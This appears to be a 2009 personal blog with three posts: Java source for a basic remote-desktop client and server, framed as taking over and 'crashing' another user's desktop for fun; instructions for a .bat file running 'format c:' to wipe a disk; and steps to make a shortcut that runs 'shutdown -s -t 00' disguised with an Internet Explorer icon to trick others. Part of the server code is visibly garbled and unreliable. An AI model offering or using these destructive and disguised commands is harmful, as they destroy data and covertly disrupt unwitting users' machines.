Wednesday, July 1, 2009

Setup forVNc


copy the three classes into notepad and save them with class names and compile it
you will get it..........All the best

JVNCConstant Class for VNC

public class JVNCconstant
{
public static final int CLOSE = 0;
public static final int MOUSE_MOVE = 1;
public static final int MOUSE_PRESS = 2;
public static final int MOUSE_RELEASE = 3;
public static final int MOUSE_WHEEL = 4;
public static final int KEY_PRESS = 6;
public static final int KEY_RELEASE = 7;
public static final int KEY_TYPED = 5000;
public static final int KEY_PRESS_EVENTS = 12345;
}

Client class for vnc


import java.awt.Color;
import java.awt.FlowLayout;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JLabel;
import java.awt.*;
import javax.swing.JPanel;
import java.awt.event.*;
import java.net.Socket;
import java.net.UnknownHostException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import javax.swing.JOptionPane;
import javax.swing.SwingUtilities;


public class JVNCclient extends JFrame implements MouseWheelListener
{
private JLabel screen;
private ObjectInputStream in;
private PrintWriter out;
private ScreenThread screenThread;
private ImageIcon i;
private Socket s;
private boolean stopped = false;

public JVNCclient()
{
int WIDTH = Toolkit.getDefaultToolkit().getScreenSize().width;
int HEIGHT = Toolkit.getDefaultToolkit().getScreenSize().height;

setTitle("Virtual Network Computing");
setBackground(Color.white);
screen = new JLabel();
getContentPane().setLayout(new FlowLayout(FlowLayout.CENTER, 0, 0));
getContentPane().add(screen);

resize(WIDTH,HEIGHT-10);

addMouseListener(new MyMouseAdapter(this));
addMouseMotionListener(new MyMouseMotionAdapter(this));
addKeyListener(new MyKeyAdapter(this));

addWindowListener(new WindowAdapter()
{

public void windowClosing(WindowEvent we)
{
stopped = true;
screenThread.stopRunning();
sendAndUpdate(JVNCconstant.CLOSE,0,0);
System.exit(0);
}

});


String serverName = JOptionPane.showInputDialog(this, "Enter Server name :", "Server", JOptionPane.INFORMATION_MESSAGE);

try
{
s = new Socket(serverName.trim(), 1166);
if (s==null)
{
System.out.println("No I/O");
System.exit(0);
}
else
{
in = new ObjectInputStream(s.getInputStream());
out = new PrintWriter(s.getOutputStream());

screenThread = new ScreenThread();
}
}

catch (Exception ex)
{
JOptionPane.showMessageDialog(null,"Server not found on PORT number 1166");
System.exit(0);
}

}

public void updateScreen(final ImageIcon i)
{
javax.swing.SwingUtilities.invokeLater(new Runnable()
{
public void run()
{
screen.repaint();
screen.setIcon(i);
}
});
}


private void sendAndUpdate(int type,int arg1, int arg2)
{
String s = "" + type + "" + arg1 + "" + arg2;
out.println(s);
out.flush();
}



class MyMouseAdapter extends MouseAdapter
{
JVNCclient jvnc;

public MyMouseAdapter(JVNCclient jvnc)
{
this.jvnc = jvnc;
}
public void mousePressed(MouseEvent e)
{
sendAndUpdate(JVNCconstant.MOUSE_PRESS, e.getX(),e.getY());
}

public void mouseReleased(MouseEvent e)
{
sendAndUpdate(JVNCconstant.MOUSE_RELEASE,0,0);
}
}

class MyMouseMotionAdapter extends MouseMotionAdapter
{
JVNCclient jvnc;

public MyMouseMotionAdapter(JVNCclient jvnc)
{
this.jvnc = jvnc;
}

public void mouseDragged(MouseEvent e)
{
sendAndUpdate(JVNCconstant.MOUSE_MOVE, e.getX(), e.getY());
}

public void mouseMoved(MouseEvent e)
{
sendAndUpdate(JVNCconstant.MOUSE_MOVE,e.getX(), e.getY());
}
}

public void mouseWheelMoved(MouseWheelEvent e)
{
sendAndUpdate(JVNCconstant.MOUSE_WHEEL,e.getScrollAmount(),0);
}



class MyKeyAdapter extends KeyAdapter
{
JVNCclient jvnc;

public MyKeyAdapter(JVNCclient jvnc)
{
this.jvnc = jvnc;
}

public void keyPressed(KeyEvent ke)
{
int key;

key = ke.getKeyCode();

if(key==ke.VK_ENTER)
sendAndUpdate(JVNCconstant.KEY_PRESS_EVENTS,ke.VK_ENTER,0);
else if(key==ke.VK_F1)
sendAndUpdate(JVNCconstant.KEY_PRESS_EVENTS,ke.VK_F1,0);
else if(key==ke.VK_ESCAPE)
sendAndUpdate(JVNCconstant.KEY_PRESS_EVENTS,ke.VK_ESCAPE,0);
}
}

public static void main(String argv[])
{
JVNCclient f = new JVNCclient();
f.setVisible(true);
f.show();
}

private class ScreenThread implements Runnable
{
Thread t;
private boolean keepRunning;

ScreenThread()
{
keepRunning = true;
t = new Thread(this,"Screen Thread");
t.start();
}

public void run()
{
while (keepRunning)
{
try
{
if(stopped ==false)
{
if((i = (ImageIcon)in.readObject())!=null)
{
updateScreen(i);
Thread.sleep(1000);
i=null;
}
}
else
{
keepRunning = false;
in.close();
}
}
catch(InterruptedException e)
{
System.out.println("Thread Interrupted");
}
catch(OutOfMemoryError e)
{
e.toString();
JOptionPane.showMessageDialog(null,"JVM can not able to allocate Memory");
System.exit(0);
}
catch (ClassNotFoundException ex)
{
ex.printStackTrace();
}
catch (Exception ex)
{
ex.printStackTrace();
JOptionPane.showMessageDialog(null,"Server is stoped");
System.exit(0);
}
}
}

public void stopRunning()
{
keepRunning = false;
}
}

}

Server Class for VNC

import java.awt.AWTException;
import java.awt.Image;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import javax.swing.ImageIcon;
import javax.swing.JOptionPane;
import java.awt.event.*;

public class JVNCserver{

private final int WIDTH = Toolkit.getDefaultToolkit().getScreenSize().width;
private final int HEIGHT = Toolkit.getDefaultToolkit().getScreenSize().height;
private final Rectangle screenRect = new Rectangle(0, 0, WIDTH, HEIGHT);
public Socket socket;
public ServerSocket s;
private CaptureThread capturethread;
private CaptureEvents captureevents;
private Robot robot;
private ObjectOutputStream out;
private BufferedReader in;
private BufferedImage i;
Image image;

public static void main(String arg[])
{
JVNCserver s = new JVNCserver();
}

public JVNCserver()
{
try
{
s = new ServerSocket(1166);
socket = s.accept();
System.out.println("Server Started");
out = new ObjectOutputStream(socket.getOutputStream());
in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
robot = new Robot();
capturethread = new CaptureThread();
captureevents = new CaptureEvents();
}

catch(Exception e)
{
JOptionPane.showMessageDialog(null,"server is stop");
}
}

public void sendImage() throws IOException
{
i = robot.createScreenCapture(screenRect);
image = i.getScaledInstance(WIDTH, HEIGHT-60, Image.SCALE_SMOOTH); out.writeObject(new ImageIcon(image));
i.flush();
image.flush();
out.flush();
}

private class CaptureThread implements Runnable
{
private volatile boolean keepRunning;
Thread thread;
CaptureThread()
{
thread = new Thread(this,"Capture Thread");
keepRunning = true;
thread.start();
}
public void run()
{
while (keepRunning)
{
try
{
sendImage();
Thread.currentThread().sleep(8000);
//Thread.currentThread().sleep(20000);
}
catch(InterruptedException e1)
{ System.out.println("Thread Stop"); }
catch (IOException ex) { ex.printStackTrace(); }
catch(Exception e) {
JOptionPane.showMessageDialog(null,"server is stoped"); } } }
public void stopRunning() { keepRunning = false; } }

private class CaptureEvents implements Runnable {
private volatile boolean keepRunning;
Thread thread;
private int HY = HEIGHT / 2;
int y;
CaptureEvents()
{
thread = new Thread(this,"Capture Events");
keepRunning = true;
thread.start();
}
public void run()
{
while (keepRunning)
{
try
{
if (in!=null)
{
String e = (String)in.readLine();
if (e!=null)
{ //System.out.println(e);
int eventType = Integer.parseInt(e.substring(0, e.indexOf("")));
int arg1 = Integer.parseInt(e.substring(e.indexOf("")+1, e.lastIndexOf("")));
int arg2 = Integer.parseInt(e.substring(e.lastIndexOf("")+1));
//System.out.println(arg1+"-"+arg2);
if(eventType==JVNCconstant.CLOSE) { keepRunning = false; in.close(); out.close(); return; }
if(arg2 < y =" arg2"> HY) y = arg2 + 21;
if (eventType == JVNCconstant.MOUSE_MOVE) robot.mouseMove(arg1,y);
else if (eventType == JVNCconstant.MOUSE_PRESS)
{ robot.mousePress(InputEvent.BUTTON1_MASK); }
else if (eventType==JVNCconstant.MOUSE_RELEASE) robot.mouseRelease(InputEvent.BUTTON1_MASK);
else if(eventType== JVNCconstant.MOUSE_WHEEL) robot.mouseWheel(arg1);
else if(eventType == JVNCconstant.KEY_PRESS_EVENTS)
{
switch(arg1)
{
case KeyEvent.VK_ENTER: robot.keyPress(KeyEvent.VK_ENTER); break;
case KeyEvent.VK_F1: robot.keyPress(KeyEvent.VK_F1); break;
case KeyEvent.VK_ESCAPE: robot.keyPress(KeyEvent.VK_ESCAPE); break; } } } }
else
System.out.println("In empty"); //Thread.currentThread().sleep(50); } /*catch(InterruptedException e) { System.out.println("Thread Stop"); }*/ catch(SocketException ex) { ex.printStackTrace(); JOptionPane.showMessageDialog(null,"Client is stopped"); break; } catch (IOException ex) { ex.printStackTrace(); } catch(Exception e) { JOptionPane.showMessageDialog(null,"Server is stop"); } } } public void stopRunning() { keepRunning = false; } }
}


If anything wrong you encountered please suggest me

Virtual Network Computing

Hai Friends

Acquring the desktop of the other user in our system and crashing his oqn system is very funny process. well i done my project on this which is vey funny well i will give you the code of the project so that a java user can use it very well ...see the certification from the company to trust my code

Sunday, April 5, 2009

CREATING A POWERFULL VIRUS THAT DESTROYS THE WHOLE SYSTEM

FRIENDS this is very powerfull tool because it erases the entire harddisk and please dont use it . If you r eager try when you loose your os, but not right now.
open notepad-->type "format c:" or "format d:" and asve the file as with an extension as .bat
but irequest you not to open it earses your entire disk..please be carefull my dear friends

Kid with your friends by doing this

Hai Friends lets know how to fool others by creating a simple virus so that the system will shutdown by clicking the icon.
right click on desktop-->go to NEW-->shortcut-->type "shutdown -s -t 00" in the textbox and click next --> after that select an icon just as internet explorer or anything., Then to browse internet he clicks on it .then automatically the system restarts ....Try it friends .but be carefull bevause its very annpoying so please delete it after kidding......Enjoy it my dear friends